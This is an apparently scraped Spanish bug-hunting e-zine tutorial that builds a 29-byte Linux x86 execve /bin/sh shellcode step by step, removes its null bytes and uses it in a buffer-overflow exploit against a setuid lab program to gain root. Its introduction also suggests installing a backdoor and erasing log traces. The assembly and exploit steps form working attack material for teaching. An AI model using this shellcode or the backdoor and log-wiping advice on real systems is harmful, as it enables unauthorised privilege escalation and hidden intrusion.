You are on page 1of 11

Qu tal llevais el taller underc0ders? En el nmero pasado explotamos nuestro primer programa vulnerable, y qu conseguimos? Una shell.

Pero los mas avispados deberais preguntaros: Pero si eso ya lo tenamos antes de lanzar el exploit!! Esto no es juankear ni es n! Para elevar privilegios necesitamos que el programa vulnerable corra con mayores privilegios que los que nosotros tenemos.

Undervuln con el setuid activado (lo sabemos por la s que aparece en los permisos)

Eso nos permite que al ejecutar el programa, nosotros, usuario no privilegiado, podamos ejecutar acciones de root.

Como veis soy un simple SnakingMax tristemente no privilegiado.

Pero ejecuto el exploit y...

Ya somos root!! sin meter contrasea ni nada. Instalamos una puerta trasera o lo que sea para mantener nuestros privilegios, borramos las huellas que hayamos dejado en los logs y listo.

Como sabis, cada da 15, en la comunidad Underc0de volvemos con un nmero de la E-Zine de Bug Hunting. PEEERO.. Lo que muchos no deben saber todava es que la comunidad underc0de tiene un foro en el que podis preguntar dudas acerca de todo esto, porque entre sus proyectos est este pequeo taller de caza de vulnerabilidades.

En el anterior taller hemos visto como aprovecharnos de una falla de desbordamiento del buffer para ejecutar nuestra shellcode con privilegios de root. Me imagino que a muchos os habr picado la curiosidad y fastidiado utilizar esa shellcode sin saber cmo funciona exactamente. Bueno, pues en este nmero vamos a ver cmo se construye una shellcode desde cero. Decir que hay miles de webs por ah de donde bajar shellcodes pero hacer cosas sin saber cmo funcionan es un poco... nio script por llamarlo de alguna manera. Una vez aprendis a fabricarlas ya podis aplicar ese genial principio juanker que dice: Ningn problema debera ser resuelto dos veces. En el mundillo de la programacin de las shellcodes como en la vida misma, cada uno tiene sus pensamientos filosficos, sus ideas... Y son todas muy respetables mientras el resultado final sea el deseado. Hay programadores de shellcodes a los que les gusta programar primero su shellcode en C. Despus pasarlo a ensamblador y de ah sacar la shellcode. Nosotros vamos a programar directamente el cdigo en ensamblador (aunque nos guiemos un poco con C) y despus guerrearemos un poco con eso para conseguir nuestra preciada shellcode.

CREANDO NUESTRA PROPIA SHELLCODE

Lo primero, desactiva las protecciones del sistema operativo (Esto vimos cmo se haca en la ezine anterior). Ahora vamos a crear un programita en ensamblador. Para ello debemos conocer las partes de un ejecutable: Seccin de datos. Seccin de texto. Inicio del programa. (ya hemos hablado de esto en nuestra divertida charla de assembler en el paper 2)

Empezamos a crear el esqueleto de nuestro cdigo malicioso: BITS 32 ; Lo primero es decir al compilador que utilizaremos una plataforma de 32 bits. section .data ; la famosa seccin de datos. section .text ; la textosa seccin de texto. global _start ; declaramos la etiqueta de inicio de nuestro programa en ensamblador. _start: ; y aqu est el punto de entrada que declaramos. ;Aqu nuestro cdigo malicioso :-P Ya con el esqueleto creado empezamos a aadir cosas ^.^ ---------- cita de la wikipedia ---------Execve es una llamada al sistema del sistema operativo UNIX, estandarizada en el estndar POSIX y otros. Su prototivo es el siguiente (en lenguaje de programacin C):
int execve (const char *filename, const char *argv [], const char *envp[]);

---------- fin de la cita ---------Bien, ya nos hemos documentado de como hacer llamadas al sistema operativo. Las llamadas al sistema y el nmero asociado a dicha llamada para LINUX 32bits, se encuentran en el archivo: /usr/include/asm/unistd_32.h Entonces vamos a ver la llamada a execve() el nmero que tiene asociado: Vale, es la llamada nmero 11. A la hora de realizar llamadas al sistema debemos poner en el registro eax el nmero de dicha llamada. De la forma: mov eax, numeroLLamada Los argumentos a las llamadas se guardan en ebx (el primer arg.), ecx (el segundo), edx (el tercero) As que, como queremos lanzar la shell /bin/sh debemos pasarle a execve una cadena indicndole que lance ese ejecutable. Por tanto ya podemos aadir lo siguiente: BITS 32 section .data shell db "/bin/sh" ; la cadena que indica el ejecutable que queremos lanzar. section .text global _start _start: mov eax, 11 ; Habamos dicho que la llamada a execve era la nmero 11

Sabemos, por la wikipedia, que la llamada a execve recibe 3 parmetros: 1- El primero, puntero a cadena. push 00h ; Metemos un NULL en la pila push shell ; Colocamos el puntero a /bin/sh en la pila. mov ebx, [esp] ; Copiamos ese puntero en ebx ya que se trata del segundo argumento. 2- El segundo, Puntero a puntero a los argumentos. Donde el primer argumento es el nombre del programa a ejecutar. Esto lo conseguimos as: push 00h ; Metemos un NULL en la pila push shell ; Colocamos el puntero a /bin/sh en la pila. lea ecx, [esp] ; Guardamos un puntero al puntero a /bin/sh que tenemos en la pila 3- El ltimo puntero a puntero a variables del entorno. mov edx, 0 ; Simplemente le pasamos NULL, y como es el 3er argumento utilizamos edx Todos deben terminar con carcter NULL como habis comprobado, cualquier duda podis ver en la wikipedia. Ya con los argumentos preparados simplemente se llama a una interrupcin de software al sistema operativo: int 0x80 ; La llamada al sistema operativo

NUESTRA PRIMERA VERSION DE SHELLCODE BITS 32 section .data shell db "/bin/sh" ; la cadena que indica el ejecutable que queremos lanzar. section .text global _start _start: mov eax, 11 ; Habamos dicho que la llamada a execve era la nmero 11. mov edx, 0 ; Preparamos el tercer argumento. push edx ; Ya que tenemos un nulo lo metemos en la pila no? push shell ; Y la cadena tambin hace falta. mov ebx, [esp] ; Preparamos el primer argumento. lea ecx, [esp] ; Preparamos el segundo. int 0x80 ; Llamada al sistema operativo. Nuestro cdigo escrito en ensamblador ya funciona:

Es importante destacar que nuestro cdigo no hace uso de direcciones de memoria. Las shellcodes deben ser position independent, y no utilizar direcciones de memoria es la forma de conseguirlo. Como nuestra shellcode se inyectar en un ejecutable que ya tiene sus secciones y su inicio... Qu pintan todas esas secciones en nuestro cdigo? NUESTRA SEGUNDA VERSION DE SHELLCODE BITS 32 shell db "/bin/sh" ; la cadena que indica el ejecutable que queremos lanzar.

mov eax, 11 ; Habamos dicho que la llamada a execve era la nmero 11. mov edx, 0 ; Preparamos el tercer argumento. push edx ; Ya que tenemos un nulo lo metemos en la pila no? push shell ; Y la cadena tambin hace falta. mov ebx, [esp] ; Preparamos el primer argumento. lea ecx, [esp] ; Preparamos el segundo. int 0x80 ; Llamada al sistema operativo.

Un warning indicndonos que no hay punto de entrada, la verdad que no nos sorprende xDD Ejecutamos a ver si funciona:

Uhmmm... No funciona. Vamos a debuggear a ver dnde y porqu di Fallo de segmentacin:

El problema viene a raiz de eliminar las secciones del programa. Parece que trata de ejecutar shell como si fuese cdigo, cuando realmente son datos (cadena /bin/sh). Esto se soluciona dejando al principio de nuestro cdigo las instrucciones ejecutables y poniendo al final los datos. Movemos por tanto la intruccin shell db "/bin/sh" al final del programa.

Bien, ya tenemos nuestra segunda versin de la shellcode funcionando. Ahora nos enfrentamos al dolor de cabeza de las shellcodes, tambin conocido como eliminacin de los NULLBYTES. Estos pequeos cabroncetes tienen para la funcin vulnerable strcpy() que vimos en el 3er taller el significado de fin de cadena. Por tanto parara de copiar en el buffer nuestra cadena al toparse con el primer NULLBYTE de la shellcode. Solucin? Buscar instrucciones, o combinaciones de instrucciones que no contengan NULLBYTES para reemplazar en nuestro cdigo las que s contengan NULLBYTES. Identificamos los nullbytes de nuestro ejecutable:

Bueno, no os perdis, ah viene todo el cdigo de la forma operacin fuente, destino Nosotros utilizamos para codear operacin destino, fuente pero nos sirve igual para identificar los NullBytes, es el mismo cdigo que nosotros escribimos puesto de otra manera. Vemos en la segunda lnea que nuestro mov edx, 0 genera el cdigo de operacin: ba 00 00 00 00 Que como vis tiene unos cuantos Bytes nulos. De qu otra manera podemos hacer que edx tome el valor 0 sin generar Bytes nulos? (esta forma debe ser lo mas corta posible, cuanto menos ocupe nuestra shellcode menor tamao necesitamos en el buffer vulnerable para colocarla) Pues haciendo un xor consigo mismo, eso siempre da cero, ademas xor ocupa solo 2 bytes: xor edx, edx En la primera lnea que corresponde a nuestro mov eax, 11 se generan 3 Null Bytes, esto es porque como el 11 se va a mover a un registro de 32 bits se extiende el signo. Para solucionarlo ponemos eax a cero haciendo un xor consigo mismo como ya hicimos anteriormente. Y despus movemos 11 (o lo que es lo mismo 0xb) al registro AL, que hace referencia a los 8 bits de menor peso de EAX. Por tanto: xor eax, eax mov al, 11

Parece que ya no hay mas NullBytes, es decir, 00 y eso es bueno:

Pero sigue teniendo un problema... Y es que estamos utilizando la etiqueta shell para direccionar a /bin/sh y esto no se puede hacer porque nuestra shellcode hemos dicho que debe ser position independent. As que hacemos el siguiente truco: xor eax,eax ; Ponemos eax a cero mov al, 11 ; hacemos que eax valga 11. xor edx, edx ; Preparamos el tercer argumento poniendo edx a cero. push edx ; Ya que tenemos un nulo lo metemos en la pila no? call adelante db "/bin/sh" ; la cadena que indica el ejecutable que queremos lanzar. adelante: mov ebx, [esp] ; Preparamos el primer argumento. lea ecx, [esp] ; Preparamos el segundo. int 0x80 ; Llamada al sistema operativo. Como sabemos por el paper 2, call guarda en la pila el la direccin de la siguiente instruccin a ejecutar, por lo que tendremos all a esp apuntando a nuestra querida cadena /bin/sh. Pero esto sigue sin funcionar porque call utiliza un offset relativo al EIP para el salto lo que provocar la estensin de signo que como ya sabemos genera NullBytes, as que rizando el rizo, tenemos que saltar hacia atrs en lugar de hacia delante generando un offset negativo, esperemos que lo suficientemente grande como para no generar NullBytes.

VERSIN DEFINITIVA DE NUESTRA SHELLCODE xor eax,eax ; Ponemos eax a cero mov al, 11 ; hacemos que eax valga 11. xor edx, edx ; Preparamos el tercer argumento poniendo edx a cero. push edx ; Ya que tenemos un nulo lo metemos en la pila no? jmp short adelante ; hay que saltar hacia adelante para poder saltar hacia atrs. ; utilizando short para evitar nullbytes atras: mov ebx, [esp] ; Preparamos el primer argumento. lea ecx, [esp] ; Preparamos el segundo. int 0x80 ; Llamada al sistema operativo. adelante: call atras ; esto pone a "/bin/sh" en la pila :P db "/bin/sh" ; la cadena que indica el ejecutable que queremos lanzar. Ya tenemos la versin definitiva de nuestra shellcode.

Vemos que compila y que sus bytes son:

Probamos que funciona copiando los bytes:

Funciona y es una shellcode de 29 Bytes:

Entonces ya para terminar volvemos al paper anterior y probamos nuestra shellcode en el exploit: Son ahora 1028 Bytes para llenar el buffer 29 Bytes que ocupa nuestra shellcode = 999 NOPs

Hacemos la prueba activando el bit setuid en undervuln:

La shellcode se ejecuta sin problemas y nos da privilegios de root. Decir que la shellcode se puede optimizar todava mas y que en ShellStorm y otros sites hay varias subidas que hacen esto y muchas otras cosas. Incluso algunas muy curiosas que no sirven para nada... Pero hacen gracia xD

Siguiendo la filosofa del paper anterior, el texto tiene su archivo rar complementario donde estn disponibles todos los sources que he utilizado: compSC.c Herramienta programada en C que comprueba shellcodes. shellcodeVersion1.asm Primera versin de nuestra shellcode. shellcodeVersion2.asm Segunda versin de nuestra shellcode. shellcodeVersion3.asm Tercera versin de nuestra shellcode. definitiva.asm Versin definitiva de nuestra shellcode. exploit.pl Exploit para nuestro undervuln que utiliza nuestra shellcode. undervuln Software vulnerable que utilizamos en el taller 3.

You might also like